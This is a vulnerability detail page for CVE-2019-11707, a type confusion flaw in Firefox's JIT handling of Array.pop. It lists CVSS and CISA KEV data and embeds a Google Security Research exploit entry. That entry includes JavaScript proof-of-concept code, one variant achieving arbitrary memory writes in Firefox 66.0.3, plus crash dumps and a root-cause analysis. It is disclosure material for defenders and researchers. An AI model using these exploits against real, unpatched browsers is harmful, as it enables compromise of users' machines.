CVE-2019-11707 : Detail

CVE-2019-11707

8.8
/
High
68.64%V3
Network
2019-07-23
13h20 +00:00
2025-02-07
12h49 +00:00
CVE.org
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CVE Descriptions

A type confusion vulnerability can occur when manipulating JavaScript objects due to issues in Array.pop. This can allow for an exploitable crash. We are aware of targeted attacks in the wild abusing this flaw. This vulnerability affects Firefox ESR < 60.7.1, Firefox < 67.0.3, and Thunderbird < 60.7.2.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-843 Access of Resource Using Incompatible Type ('Type Confusion')
The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Mozilla Firefox and Thunderbird Type Confusion Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-05-22 22h00 +00:00

Action is due : 2022-06-12 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47038

Publication date : 2019-06-25 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable): // Run with --no-threads for increased reliability const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}]; function v7(v8,v9) { if (v4.length == 0) { v4[3] = {a: 5}; } // pop the last value. IonMonkey will, based on inferred types, conclude that the result // will always be an object, which is untrue when p[0] is fetched here. const v11 = v4.pop(); // Then if will crash here when dereferencing a controlled double value as pointer. v11.a; // Force JIT compilation. for (let v15 = 0; v15 < 10000; v15++) {} } var p = {}; p.__proto__ = [{a: 0}, {a: 1}, {a: 2}]; p[0] = -1.8629373288622089e-06; v4.__proto__ = p; for (let v31 = 0; v31 < 1000; v31++) { v7(); } When run, it produces a crash similar to the following: * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT) frame #0: 0x000025a3b99b26cb -> 0x25a3b99b26cb: cmp qword ptr [rax], r11 0x25a3b99b26ce: jne 0x25a3b99b26dd 0x25a3b99b26d4: cmovne rax, rcx 0x25a3b99b26d8: jmp 0x25a3b99b26f4 Target 0: (js) stopped. (lldb) reg read rax rax = 0x4141414141414141 I haven't thoroughly analyzed bug, but here is roughly what appears to be happening: * when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment) * in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes * v7 is executed a few times and all original elements from v4 are popped * the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types Afterwards, v7 is (re-)compiled by IonMonkey: * the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1] * since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3] * IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load * Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5] At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens: * The runtime call to ArrayPopDense is taken * this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0' * the array pop operation thus returns a double value However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable. To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types. Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386 Below is the original sample triggered by my fuzzer: // Run with -no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100 let v2 = 0; v2 = 7; const v4 = [13.37,13.37,13.37,13.37,13.37]; function v7(v8,v9) { const v10 = v2 + v4; v4[v10] = Object; const v11 = v4.pop(); for (let v15 = 0; v15 < 100; v15++) { } } v4.__proto__ = Object; for (let v19 = 0; v19 < 100; v19++) { const v23 = [-1000000000000.0,-1000000000000.0,-1000000000000.0]; let v24 = Object; v24.__proto__ = v23; const v26 = String.fromCharCode(v19); Object[0] = v26; } for (let v31 = 0; v31 < 100; v31++) { const v32 = v7(); } This bug can be exploited in a very similar way to https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1810 as they all allow the construction of type confusions between arbitrary objects. The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3: // Run with --no-threads for increased reliability let ab = new ArrayBuffer(0x1000); // Confuse these two types with each other below. let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310}; let y = new Uint32Array(0x1000); const v4 = [y, y, y, y, y]; function v7(v8,v9) { if (v4.length == 0) { v4[3] = y; } // pop the last value. IonMonkey will, based on inferred types, conclude that the result // will always be an object, which is untrue when p[0] is fetched here. const v11 = v4.pop(); // It will then crash here when writing to a controlled address (0x414141414141). v11[0] = 0x1337; // Force JIT compilation. for (let v15 = 0; v15 < 10000; v15++) {} } var p = {}; p.__proto__ = [y, y, y]; p[0] = x; v4.__proto__ = p; for (let v31 = 0; v31 < 1000; v31++) { v7(); } /* Crashes as follows in Firefox 66.0.3: (lldb) process attach --pid 12534 ... Executable module set to "/Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container". (lldb) c Process 12534 resuming Process 12534 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x414141414141) frame #0: 0x000037f56ae479bd -> 0x37f56ae479bd: mov dword ptr [rcx + 4*rax], 0x1337 Target 0: (plugin-container) stopped. (lldb) reg read rcx rax rcx = 0x0000414141414141 rax = 0x0000000000000000 */ The issue was fixed with commit https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e and released as an out-of-band security update on Jun 18th: https://www.mozilla.org/en-US/security/advisories/mfsa2019-18/ I looks like the core issue here was that IonMonkey, when trying to inline calls to Array.push and Array.pop into e.g. the MArrayPopShift instruction, didn't correctly verify that those operations would not end up accessing the prototype. It e.g. checked that no indexed properties (elements) exist on Array.prototype but this check could be bypassed by introducing an intermediate prototype such that the prototype chain looks something like array -> custom prototype with elements -> Array.prototype -> Object.prototype -> null. This is then problematic for at least two reasons: * There could be inferred element types for the array. IonMonkey then assumed that the inlined pop would always yield an object of the inferred type which wasn't true if the pop actually loaded an element from the prototype. This is the aspect that Fuzzilli triggered * By installing indexed getters and/or setter on the prototype, it becomes possible to turn this bug into an unexpected side-effect issue as the inlined push and pop operations are not supposed to trigger any side-effects The fix was then to avoid inlining push and pop if the access could potentially go to the prototype.

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (excluding) 60.7.3

Mozilla>>Firefox_esr >> Version To (excluding) 60.7.1

Mozilla>>Thunderbird >> Version To (excluding) 60.7.2

References

https://security.gentoo.org/glsa/201908-12
Tags : vendor-advisory, x_refsource_GENTOO